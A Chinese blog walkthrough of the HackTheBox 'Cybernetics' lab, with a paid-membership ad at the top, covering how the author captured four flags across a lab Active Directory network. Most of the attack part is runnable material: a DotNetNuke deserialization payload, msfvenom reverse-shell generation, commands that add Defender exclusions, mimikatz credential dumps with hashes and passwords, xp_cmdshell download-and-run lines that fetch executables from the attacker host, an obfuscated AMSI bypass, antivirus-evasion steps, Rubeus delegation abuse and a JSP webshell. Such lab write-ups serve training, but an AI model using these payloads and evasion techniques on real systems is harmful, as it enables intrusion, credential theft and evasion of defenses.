HackTheBox-控制论

文摘   其他   2024-03-04 23:42   陕西  

兄弟们开知识星球了,至于为什么开,嗯....我想赚钱,不想人前一套背后一套,没任何意义,但是我希望赚的钱对得起各位师傅进来花的钱,那就问心无愧了,杜绝噶韭菜!!!

介绍下目前的知识星球,目前在更新域相关文章,等写的差不多了再去写写免杀相关的,我不能保证每天一篇文章,我给大家的保证是每周2-3篇文章,绝对是自己学习过的东西,自己复现过的东西。

如下是目前更新的一些目录。

此外慢慢随着人数越来越多,文章越来越多,价格也会随着涨一些。

加入方式:

好啦让我们开始今天的主题吧。

HacktheBox-控制论

这个靶机总共28台机器以及25个flag,这里只打了拿了4个Flag,后面的是跟林相关的。

首先我们拿到一个网段: 10.10.110.0/24

首先我们使用nmap对其网段进行扫描。

我们将扫描前100个端口,因为端口太多的话可能会很耗时间。

第一个Flag

这里我们来介绍一下参数:

-Pn使用ping扫描,显式地关闭端口扫描,用于主机发现。

-n参数表示nmap将禁用DNS解析,直接使用ip地址扫描主机。

-F参数表示快速扫描端口。

-T4参数表示快速扫描。

-oA参数表示将其扫描的结果保存到10.10.110.0_24-tcp-100中。

nmap 10.10.110.0/24 -oA 10.10.110.0_24-tcp-100 -vv -Pn -n -F -T4

可以看到成功扫描出来了4个IP地址,分别是:

10.10.110.10
10.10.110.11
10.10.110.12
10.10.110.250

我们对这些ip地址进行逐个扫描。

nmap -sC -sV -A -T5 10.10.110.10 -Pn
nmap -sC -sV -A -T5 10.10.110.11 -Pn
nmap -sC -sV -A -T5 10.10.110.12 -Pn
nmap -sC -sV -A -T5 10.10.110.250 -Pn

如下扫描结果:

10.10.110.10:

可以看到开放了80端口和443端口,这两个端口我们等会去访问,因为有时候443和80端口可能搭载不同的业务。

并且识别出来了robost.txt文件,这个文件中有一些路径,我们一会可以使用dirsearch来进行扫描。

10.10.110.11:

可以看到开放了80端口和443端口以及目标的系统的windows server系统,并且爆出来一个域名为certenroll.cyber.local。

10.10.110.12:

开放了80端口和443端口以及目标系统为windows server 2016。

10.10.110.250:

现在让我们从第一台机器开始,访问web页面,找到robost.txt文件。

找到一堆访问的路径。

我们将这些路径复制下来,保存到txt文件中。

然后使用gobuster对其进行枚举路径。

gobuster dir -u http://10.10.110.10/ -w robots.txt

可以看到成功枚举出来了一些相关的路径。

我们也可以指定`/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt为字典。

gobuster dir -u http://10.10.110.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

访问admin目录可以发现有一个Dnn的标志,通过google查询发现是DotNetNuke。

关于DotNetNuke漏洞利用我们找到了如下文章:

https://github.com/murataydemir/CVE-2017-9822

根据文章我们可以生成一个payload。

.\ysoserial.exe -p DotNetNuke -m read_file -f C:\Windows\win.ini

请求包如下:

GET /_ HTTP/1.1
Host: 10.10.110.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Upgrade-Insecure-Requests: 1

可以看到成功读取到win.ini文件。

但是不知道为什么使用下面的脚本一直是404。

我们直接上MSF。

use exploit windows/http/dnn_cookie_deserialization_rce

需要设置几个参数,一个是Token,一个是IV。

这两个很好找,我们直接访问/admin路径。

其实说白了IV设置不设置都可以,一样可以反弹回来shell。

set rhost 10.10.110.10
set lhost 10.10.16.162
set lport 9001
set SESSION_TOKEN yb3-R2PXr4BV80ZVceOCAZrKcFg53AQENBV0qm3qrHq9RhJTPpqwRIDdQfAj4JYkuyt0yg2

可以看到成功反弹回来shell。

尝试getsystem权限,发现失败了。

我们来看下用户有没有什么特权。

SeImpersonatePrivilege是开着的,我们可以尝试使用烂土豆提权。

查看是否有杀软,可以看到是微软自己带的杀软。

但是....嗯。。我不知道为什么我再次去尝试getsystem提权的时候发现可以了。

就很纳闷。。。

查看特权,没问题。

我们查找flag,在c:\DotNetNuke目录下。

紧接着我们需要导出hash,这里的话因为有defender,但是我们有system权限,所以直接加排除项即可。

直接给他c盘加一个排除项。

powershell  -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "c:\\"

需要注意的是一定要加排除项,要不然msf导入mimikatz模块会失败导致beacon会掉。

然后我们通过load mimikatz加载即可。

最终使用lsa_dump_sam导出即可。

[+] Running as SYSTEM[*] Dumping SAMDomain : CYWEBDWSysKey : 6f9ec047e0cc2be91f5463aeb3189568Local SID : S-1-5-21-974100046-684349727-4186098362
SAMKey : 7f23249058837880f70a9947d9f377f3
RID : 000001f4 (500)User : Administrator Hash NTLM: 7574cbf9d92c39d1d4dccd7b89301d2f
Supplemental Credentials:* Primary:NTLM-Strong-NTOWF * Random Value : dc982f326b5017e646efe1d5760d0f04
* Primary:Kerberos-Newer-Keys * Default Salt : ADMINIS-GL281LHAdministrator Default Iterations : 4096 Credentials aes256_hmac (4096) : f3cd0f0ed222e7378931e8287386b53196631392024548d639d6b76b4ab9d761 aes128_hmac (4096) : 109316d3a8ea62d8e654d8534d3c8622 des_cbc_md5 (4096) : 432aa25eec1f97c1 OldCredentials aes256_hmac (4096) : 407f19837353860d58c535aacd8d005f4fdb6b96b62f8322165fecb3c3079806 aes128_hmac (4096) : 068f6fcf2fc64585b19a05b9422367cc des_cbc_md5 (4096) : 8fba4cb6166e2f8c OlderCredentials aes256_hmac (4096) : 2e9115dfd756f72a5fef3bdd1ba213a17448e410462081721cdef0cfde4beb16 aes128_hmac (4096) : 422895ede582fe5680cf2f16927596a8 des_cbc_md5 (4096) : 647a01f8626bbf9d
* Packages * NTLM-Strong-NTOWF
* Primary:Kerberos * Default Salt : ADMINIS-GL281LHAdministrator Credentials des_cbc_md5 : 432aa25eec1f97c1 OldCredentials des_cbc_md5 : 8fba4cb6166e2f8c

RID : 000001f5 (501)User : Guest
RID : 000001f7 (503)User : DefaultAccount
RID : 000001f8 (504)User : WDAGUtilityAccount

第二个Flag

我们打开网络连接,发现有和1433端口通信的IP。

可以看到正在和10.9.20.11的1433端口进行通讯,那么也就证明了这个网站是站库分离的。

接下来下一步我们需要枚举MSSQL服务。

首先上传PowerUpSQL.ps1工具。

upload /home/kali/Desktop/prolab-1/PowerUpSQL/PowerUpSQL.ps1 c:\\Windows\\System32\\inetsrv\\cs\\PowerUpSQL.ps1

我们来到shell切换到powershell,然后将PowerUpSQL.ps1导入进去。

import-module .\PowerUpSQL.ps1

然后使用Get-SqlServerLinkCrawl -Verbose命令来获取MSSQL的连接信息。

可以看到账户是sa,数据库的连接是m3sqlw.m3c.local

然后我们尝试使用oSQL来开启xp_cmdshell。

oSQL这个工具只要你装了sqlserver数据库就会启用。

可以看到成功执行。

osql -E -S "CYWEBDW" -Q "EXECUTE('sp_configure''xp_cmdshell'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"

我们尝试执行whoami。

osql -E -S "CYWEBDW" -Q "EXECUTE('xp_cmdshell whoami') AT [m3sqlw.m3c.local];"

可以看到成功执行。

我们发现flag在c:\Users\svc_sql\Desktop目录下。

osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''dir c:\Users\svc_sql\Desktop''') AT [m3sqlw.m3c.local]"

直接使用type命令查询:

osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''type c:\Users\svc_sql\Desktop\flag.txt''') AT [m3sqlw.m3c.local]"


得到flag:

Cyb3rN3t1C5{Sql$erv3rL!nkCr@wl}

第三个flag

我们现在需要上线这台机器方便操作,所以我们使用powershell对其进行上传我们的exe。

需要注意的是这里的端口一定要80端口,要不然通不了。。。在这卡了好久。

osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.16.162/shell.exe -OutFile c:\users\public\documents\shell.exe''') AT [m3sqlw.m3c.local]"

但是不出所料,被干掉,被谁干掉了,被Defender。

所以我们需要去做免杀。

首先使用Havoc创建一个监听器,需要注意的是必须是80端口,别的端口数据库服务器不通。

当然你也可以使用MSF,MSF我没搞成功,有点恶心。

然后生成shellcode。

勾选这几个选项。

然后使用Harriet对shellcode进行混淆处理,文件下载可以直接github搜索。

然后我们将处理好的文件加上资源文件就可以过defender了。

最后使用osql工具将我们处理好的木马文件下载到目标上。

osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.16.116:80/Hollowing.exe -OutFile c:\users\public\documents\Hollowing.exe ''') AT [m3sqlw.m3c.local]"

最后使用osql调用cmd /c去执行即可。

osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''cmd /c c:\users\public\documents\Hollowing.exe''') AT [m3sqlw.m3c.local]"

可以看到成功上线了。

可以看到上线的ip是10.10.110.250。

这里最大的坑就是只能和80端口通讯,其他端口一律不行。

然后我们使用ipconfig /all发现dns指向的是m3c.local。

我们现在需要进行提权相关的操作,那么提权的话你的exe肯定要过defender的,所以这里推荐使用一个工具很简单也很方便。名字叫:yetAnotherObfuscator

github下载地址:

https://github.com/0xb11a1/yetAnotherObfuscator

使用这个工具将exe路径放到里面就行了,然后生成完成之后,使用Resource Hacker对其打一个资源文件就可以了,需要注意的是将version info删除掉。

然后上传就可以过defender了。

但是还是提不了权限,所以我们转战MSF,使用msf生成shellcode。

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.116 lport=80 -f bin -o shell.bin

然后使用老表的免杀,上线到MSF上。使用getsystem提权即可。

执行osql语句执行exe。

osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''cmd /c c:\users\public\documents\Hollowing.exe''') AT [m3sqlw.m3c.local]"

成功提权至system权限。

导出Hash。

load mimikatz
lsa_dump_secrets

成功获取svc_sql账户的密码。 密码为:ef8Mahvae2j1

[+] Running as SYSTEM[*] Dumping LSA secretsDomain : M3SQLWSysKey : 2aa1b3c2027d47c1a8432f8d2e455268
Local name : M3SQLW ( S-1-5-21-907414912-929592110-1210139672 )Domain name : M3C ( S-1-5-21-340507432-2615605230-720798708 )Domain FQDN : m3c.local
Policy subsystem is : 1.14LSA Key(s) : 1, default {13862413-3e9e-314e-3ffe-87be71ec6dab} [00] {13862413-3e9e-314e-3ffe-87be71ec6dab} 2095110512fc746cf6f75d936ff9f45846381604debfbe028652318bcf5258df
Secret : $MACHINE.ACCcur/text: @fidTp((zLz,Vrz)[N@><$>wT$8#NZ`(LTL@Y]`5t:R.y96l6X+3YULRu=D_C2<<,p\:@w*v+DHSR3`ehM#(q8mFd7;M/r%4*OtSPntsp6K9@bOK1_gqkPEu NTLM:a09cbeb5c0e16d1e926c5b3d884949a4 SHA1:bc21fb144077f2ff12614f3fcfab3a1afb1441ddold/text: @fidTp((zLz,Vrz)[N@><$>wT$8#NZ`(LTL@Y]`5t:R.y96l6X+3YULRu=D_C2<<,p\:@w*v+DHSR3`ehM#(q8mFd7;M/r%4*OtSPntsp6K9@bOK1_gqkPEu NTLM:a09cbeb5c0e16d1e926c5b3d884949a4 SHA1:bc21fb144077f2ff12614f3fcfab3a1afb1441dd
Secret : DefaultPasswordERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO
old/text: 6IVx7cxECM6m57WVjrqfH1gvluKnvN
Secret : DPAPI_SYSTEMcur/hex : 01 00 00 00 42 46 de 32 5d f1 1b 03 5c 75 ae 38 55 b4 35 de 60 d1 8c d7 75 bd 3f f4 aa 4d 5c 2e e4 69 4a 2d 43 b7 d8 af 2c 6d 78 a7 full: 4246de325df11b035c75ae3855b435de60d18cd775bd3ff4aa4d5c2ee4694a2d43b7d8af2c6d78a7 m/u : 4246de325df11b035c75ae3855b435de60d18cd7 / 75bd3ff4aa4d5c2ee4694a2d43b7d8af2c6d78a7old/hex : 01 00 00 00 0c 00 62 f2 11 9b c5 7d 9f 23 74 f3 34 09 e2 ce 39 1d dc 9f a8 d0 d0 0a b7 72 2e 4a b7 d5 94 23 e0 ea 99 03 29 6b ed 63 full: 0c0062f2119bc57d9f2374f33409e2ce391ddc9fa8d0d00ab7722e4ab7d59423e0ea9903296bed63 m/u : 0c0062f2119bc57d9f2374f33409e2ce391ddc9f / a8d0d00ab7722e4ab7d59423e0ea9903296bed63
Secret : NL$KMcur/hex : d8 33 7f 7b a3 2c de 15 cf b4 9a 10 37 3f 6b a9 4e 49 46 70 57 27 e8 1e e8 a9 11 a8 1d ef 19 0c cc 43 92 f3 9c c7 51 1a 06 56 6d 60 da 73 22 74 81 ec b4 9f 69 fc 6a 8a c8 52 e6 f5 03 56 0d 59 old/hex : d8 33 7f 7b a3 2c de 15 cf b4 9a 10 37 3f 6b a9 4e 49 46 70 57 27 e8 1e e8 a9 11 a8 1d ef 19 0c cc 43 92 f3 9c c7 51 1a 06 56 6d 60 da 73 22 74 81 ec b4 9f 69 fc 6a 8a c8 52 e6 f5 03 56 0d 59
Secret : _SC_MSSQL$SQLEXPRESS / service 'MSSQL$SQLEXPRESS' with username : m3c.local\svc_sqlcur/text: ef8Mahvae2j1
Secret : _SC_SQLTELEMETRY$SQLEXPRESS / service 'SQLTELEMETRY$SQLEXPRESS' with username : NT Service\SQLTELEMETRY$SQLEXPRESS

现在我们已经拿到了服务账户,一般服务账户的话我们都会查看是否存在委派。

那么我们将上传powerview.ps1来进行查询约束性委派。

上传之后切换到powershell然后导入会发现被AMSI禁止了,所以我们需要绕过。

绕过方式如下:

$a="5492868772801748688168747280728187173688878280688776828"$b="1173680867656877679866880867644817687416876797271"$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "$d=[Ref].Assembly.GetType($c)$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "$f=$d.GetField($e,'NonPublic,Static')$f.SetValue($null,$true)

执行完如上命令之后,我们就可以正常导入powerview.ps1了。

import-module .\Powerview.ps1

导入之后使用Get-DomainUser查看那些账户存在约束性委派。

Get-DomainUser -TrustedToAuth -Domain m3c.local | select name,msds-allowedtodelegateto

可以看到svc_sql设置了约束性委派。

可以看到svc_sql账户对m3webaw这个机器有着约束性委派的权限,

首先我们获取到DC的ip:

Get-NetDomainController

可以看到DC的ip是10.9.20.10。

我们也可以使用impacket-GetUserSPNs来枚举SPN。

xxxxxxxxxx  proxychains4 impacket-GetUserSPNs m3c.local/svc_sql:ef8Mahvae2j1 -dc-host 10.9.20.10

可以看到有两个账户,一个是svc_sql,另外一个是svc_apache

接下来我们尝试去申请票据,这里伪造的账户是svc_apache,其实是伪造不成功的。

python3 getST.py -dc-ip 10.9.20.10 -spn time/m3webaw.m3c.local -impersonate svc_apache relaysec.com/svc_sql:ef8Mahvae2j1

我们可以尝试使用psexec访问,但是。。。嗯... 对外不开放445。

那么我们现在使用Rubeus.exe来进行申请票据访问。

但是在这之前我们需要看一下Bloodhound,在实战中也是一样的,如果你模拟的账户没有在远程组中或者Winrm组中,那么你模拟之后去访问的时候是无法访问的。

就比如说有一个WINRM 的GPO应用到了Server Admins组中,我们必须模拟Server Admins组中的用户获取的票据,才可以通过winrm去访问我们的目标服务。

我们在BloodHound中得知我们的机器M3WEBAW.M3C.LOCAL在WEB SERVERS组中,而SERVER WINRM MGMT GPO引用到了WEB SERVERS组中。

我们可以通过配置文件得知。

type \\m3c.local\sysvol\m3c.local\Policies\{11D18024-2D64-4CE7-8479-B41B164B7DAB}\machine\preferences\groups\groups.xml

可以看到WINRM GPO应用到了Remote Management和Server Admins组中。

那么也就是说我们需要枚举出来Server Admins组中的用户,然后去模拟它请求服务即可。

首先我们通过powerview去查询server admins中的用户。

get-domaingroup "server admins" | select -expandproperty member

可以看到成功查询出来这些账户。

现在我们将查询那些账户登录的次数是最多的。

get-domainuser | select cn,logoncount

可以看到Micheal Crosley账户登录了6次。

那么我们就以这个账户来申请票据。

需要注意的是如下操作都是在svc_sql这个账户下运行的,不能以system权限去运行的。

首先请求TGT。

.\Rubeus.exe tgtdeleg

获取到TGT之后,我们就可以发送s4u的请求了。

这里几个参数很简单和getst.py是一样的。

.\Rubeus.exe s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA62T8gjfh1tUTrMwB2ug3Ho492wbX5n8XYXXyVZHoYtLLJygneA397Btc772wrsVmp6SP6trUuigbW0inLQ2GuA28XwcdGUHpHJ5/udYH6noo6afsF1hyUh+lx6qHNuc924x35CKfV/6RXIDYKgoZtiJOwe5L9s486iqwbE2eHrGitKPOmpQQt2eqr75zuKFPLGjTa9cNmvhCatM+RtRGNgSzGLUMS08M97o3FyxcMadnUieYwoimNfi8dsgwhu8TRnI2dj1RNqlIw/WPkJI8upG6TW2OvKIbXHsK89HXln+FdRO8C6i9eMVgFgV4PL7aboCAlg6dIdJmQTlC5ugFr9+6AzkLxmt+P2qHkMrBKfUm4Qd+A1i7r8ncy339lmoXIJUrtKkn9Tc741ztI9CJu2OSIOssZvM408k+qI12zkmsVWfMZWKQfz0oo1Pl2cOslujsjyihnA7OTUzDDYwj8TMA/1Ial3Spe9TzzkuHUDFhrUD4PQsaW7aEhgdat7BvSu3m7CIn+64+oEss/NLJeZRT2iNnVq5pBmNBi6UW+Hq+OIC+7gmIs1Jff583EsWXzYV6Vxh99AGeiZxp+3jt3Wld5H0PeJdawgWZOvre6YS/bdbSxaT7jwThBr94D2iTMb5ENGJFrxbTj+SvbBwjl6kNHRoNKtc+EwxXBs5eqo5jd+XuUSONFdWKoCPQvGCpFU6QMP6j/PX3wxY8xUOUyQdDH+PC+gJ3GtCWrgBv0oZKTq1Zpmkai9GZfWekpwKhx24qJiX40BDJ/55+g1kN637ezsqOuPbAqdoCRwRaYmWpcA75ZmEknB2XI58ogLr6KC4b7W2EQGQZ1rq0HuOuQsLZzoDoplTLcs/bjnc3ikc1EdoXEOiwROqnPorpZqpZjKJ5plDmt5Xd5pkKTNd2hzlIAAsUBM/6Jz+vHlRZsMxm5DWeXBxEUuRV9/7ek23G5nrma9WqpqSglcYEpsHT1mmI4MzRTLqd2VEu1ybj7J1F4NlLi57OZ63+xpM5RetV9EoFep1rQRcnPo7Czb68CeA4ZE2qV5X2c55nUkgu9Cbwy/OzLGdGJkQ80RsvmP8/gkJ7NFCLiFSoA2e+UTBKH8MV3dALApwHSoB+qw/3jm3iqP8tUB9JYHKvi9fZRsBXTLjY1RFVmWr4ogW5fjRYLy3RkiUSvdqUIfw6HKKkgLUs4CLg8J1Ca5RtgBktpZ7I6/OUkuynfRjELoVhwhpxSDgcBRg+7J7j5Hs/2qVdaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIEvozL7CyGRYztUHGzgUuxJocjOVdAozLZeSLQX+UETcoQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNDAzMDExNTQ2MTlaphEYDzIwMjQwMzAyMDAzMDAyWqcRGA8yMDI0MDMwODE0MzAwMlqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw= /impersonateuser:Micheal.Crosley /domain:m3c.local /msdsspn:"time/m3webaw" /altservice:http /ptt

申请成功之后查看klsit。

可以看到已成功获取到了票据。

然后我们创建一个session会话就可以执行命令了。

$session = new-pssession -computername m3webawinvoke-command $session {whoami}

第三个flag在这里。

 invoke-command $session {type C:\activemq\conf\jetty-realm.properties } invoke-command $session {type C:\activemq\conf\jetty-realm.properties }

第四个Flag

现在我们要上线到MSF上,还是使用之前的木马。监听的还是80端口。

invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.16.116:80/Hollowing.exe -OutFile c:\Windows\\Temp\\Hollowing.exe}

下载完成之后我们去执行。

invoke-command $session {cd 'c:\\Windows\\Temp'; cmd /c .\Hollowing.exe}

然后这里就会收到一个session。

查看它的特权,发现少的可怜。。。

我们在conf目录中找到一些账号和密码。

type credentials.properties

我们查看网络连接。

可以发现监听了616116端口,这个端口是Activemq的默认端口,还有一个端口是8161端口,这个端口我们来看下进程中跑的是什么服务。

8161端口对应的PID是4132,所以我们可以尝试使用takslist /svc来找到PID。

但是会发现直接拒绝访问了。

所以我们只好使用msf的ps命令来进行查找了。

可以看到跑的是java的进程。

我们现在需要找到activeMQ的密码,activeMQ使用的是jettyu服务器,我们可以打开conf/jetty.xml文件来查看配置。

我们会发现authenticate属性的值设置为了true,这表示控制台的密码将保存在/conf/jetty-realm.properties文件中,如果为false的话那么将不会弹出账号和密码的要求。

我们在这个配置文件中也可以看到它所使用的端口。

现在我们去/conf/jetty-realm.properties文件中获取到密码。

可以看到有一个账号和密码,还有就是flag,这个flag就是我们拿到的第三个flag。

admin: 3f18DV^t!svBV4ntcrLRTWi2XaMCDK, admin#Cyb3rN3t1C5{CR3d$_!n_fil3s}

现在我们已经拿到了账号和密码,使用MSF做一个socks5代理即可。这里自行百度,因为很简单。

这里可以看到已经请求到了。

proxychains4 curl 10.9.20.12:8161

现在我们使用MSF生成一个JSP的木马,然后使用它来反弹shell。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.116 LPORT=80 -f jsp -o shell.jsp

然后我们将文件copy到目标的admin目录中,因为这是它网站的跟目录。

如下图:

现在将文件上传上去。

upload /home/kali/Desktop/bl/shell.jsp c:\\ActiveMQ\\webapps\\admin

然后我们挂上浏览器的代理。

这里需要选择socks5,然后就是你的ip和端口了。

需要注意的是一定要将http和https代理给他删掉。

最后我们直接访问,可以看到访问成功。

但是我们会发现是上线不了的,可能是我生成的jsp有点问题。

我们换一种思路,我们使用jsp去执行我们上传的exe就可以。

如下jsp:

<%@ page import="java.io.*" %><%try {Process p =Runtime.getRuntime().exec("cmd /c c:\\ActiveMQ\\webapps\\admin\\Hollowing.exe");}catch(IOException e) {e.printStackTrace();}%>

然后我们将Hollowing.exe上传到c:\ActiveMQ\webapps\admin\目录下就可以了,然后再将我们的jsp文件上传去这个目录下,然后访问就可以反弹回来shell了。

现在我们已经有了svc_apache这个账户。

查看特权,没问题,我们直接使用getsystem进行提权。

可以看到成功提权。

然后我们将hash全部dump出来当作备用。

在这之前需要给c盘加一个排除项。

powershell  -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "c:\\"

然后去加载mimikatz即可。

如下我们获取到了svc_apache账号的密码为ef8Mahvae2j2

Domain : M3WEBAWSysKey : 0f5d7a9467c2546531be511c099466af
Local name : M3WEBAW ( S-1-5-21-4257818120-2842902664-1367163224 )Domain name : M3C ( S-1-5-21-340507432-2615605230-720798708 )Domain FQDN : m3c.local
Policy subsystem is : 1.18LSA Key(s) : 1, default {f6ff3cee-589f-54f8-c470-7b1b881f5ba4} [00] {f6ff3cee-589f-54f8-c470-7b1b881f5ba4} ee5f029f715830d4c22d82a6839fc4ecbe04ceb988683d3da5d8a0b27068c9e9
Secret : $MACHINE.ACCcur/text: R++2=M#ai!6s"54 5$X'"11"=KIppV+xk0UQvm-nA'#O T"mQaM6@8<'mWq4W4gws1Hsn[T0hzn16`!+F)wY/o[WQK/;lG`Zas]pK*uEC?:JfxR^U8QliS [ NTLM:2e61a0e49c4724aebfd2878d1e612518 SHA1:c698a14e684b6d4e787edaaf9949ee8594623028old/text: R++2=M#ai!6s"54 5$X'"11"=KIppV+xk0UQvm-nA'#O T"mQaM6@8<'mWq4W4gws1Hsn[T0hzn16`!+F)wY/o[WQK/;lG`Zas]pK*uEC?:JfxR^U8QliS [ NTLM:2e61a0e49c4724aebfd2878d1e612518 SHA1:c698a14e684b6d4e787edaaf9949ee8594623028
Secret : DefaultPasswordERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO
old/text: 6IVx7cxECM6m57WVjrqfH1gvluKnvN
Secret : DPAPI_SYSTEMcur/hex : 01 00 00 00 af 5e 76 30 7e 3d c5 fe 25 3e 42 1e 97 2e cc ce 13 9d b4 92 19 7c 9b f3 38 3b f4 e4 c4 ff 85 22 cd ea 06 43 79 ae fd 87 full: af5e76307e3dc5fe253e421e972eccce139db492197c9bf3383bf4e4c4ff8522cdea064379aefd87 m/u : af5e76307e3dc5fe253e421e972eccce139db492 / 197c9bf3383bf4e4c4ff8522cdea064379aefd87old/hex : 01 00 00 00 2f 59 05 b8 05 d0 98 a6 80 32 79 0c e7 66 88 27 c3 8c 1b d8 05 82 23 cf 64 4a 39 c1 3b f2 2b 6f 5b 58 aa 07 aa eb b8 9b full: 2f5905b805d098a68032790ce7668827c38c1bd8058223cf644a39c13bf22b6f5b58aa07aaebb89b m/u : 2f5905b805d098a68032790ce7668827c38c1bd8 / 058223cf644a39c13bf22b6f5b58aa07aaebb89b
Secret : NL$KMcur/hex : 26 cf be 34 e8 89 95 fd 6d 9b d7 be 32 fd 72 3c 78 c4 81 ec ff 96 71 f8 c3 5c 38 e5 1b 86 49 d8 4a 78 8d fd 45 d4 5b de 6f 95 34 b2 e3 7e 78 99 9c 54 89 69 41 5a ea b3 4c 60 95 ad e9 0c e9 35 old/hex : 26 cf be 34 e8 89 95 fd 6d 9b d7 be 32 fd 72 3c 78 c4 81 ec ff 96 71 f8 c3 5c 38 e5 1b 86 49 d8 4a 78 8d fd 45 d4 5b de 6f 95 34 b2 e3 7e 78 99 9c 54 89 69 41 5a ea b3 4c 60 95 ad e9 0c e9 35
Secret : _SC_ActiveMQ / service 'ActiveMQ' with username : m3c.local\svc_apachecur/text: ef8Mahvae2j2

取到svc_apache账号之后,这个账号对M3DC$这台机器有着GenericWrite的权限。

需要注意的是SVC_APACHE作为服务账户肯定是有SPN的,所以也满足我们进行基于约束性委派攻击的条件。

如果我们没有服务账户的话,那么完全可以自己创建一个机器账户,只要你拿到的账户对某台机器有着GenericAll,GenericWrite,WriteProperty,WriteDacl等等权限,可以更改目标机器属性的都可以。

我们这里先本地测一下。

首先我们将hack这个账户给DC添加一个ACL,写入全部属性和读取全部属性。

然后我们在Bloodhound中肯定可以看到hack这个账户对DC这台机器有着GenericWrite的权限。

如上图有没有一种感觉和上面的靶机是一样的。

然后我们使用powerview来设置hack这个服务账户对DC这台机器的基于资源的约束性委派。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3708176772-1742723060-3616893896-1123)" //这里的sid是hack用户的sid$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer DC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

需要注意的是sid可以通过whoami /all来进行获取,而最后一条就是给DC设置基于资源的约束性委派。

设置完成之后,我们可以使用如下来进行查询

Get-DomainComputer DC -Properties msds-allowedtoactonbehalfofotheridentity

然后我们就可以使用Rubeus来申请白银票据访问了。

因为Rubeus不能使用明文密码,所以我们需要将hack用户转换为hash。

Rubeus.exe hash /user:hack /password:Admin123.. /domain:relaysec.com

提取里面的rc4,然后使用Rubeus来申请白银票据即可。

Rubeus.exe s4u /user:hack /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/DC /ptt

如上图可以看到成功申请到票据并导入。

然后我们klist来查看一下票据。

最后使用dir进行访问。

dir \\dc\c$

成功访问。

如上是一种方式,还有另一种方式,我们可以直接可以使用Rubues来申请TGT,然后发送S4u请求来伪造cifs服务。

.\Rubeus.exe tgtdeleg

然后伪造任意用户去访问cifs服务。

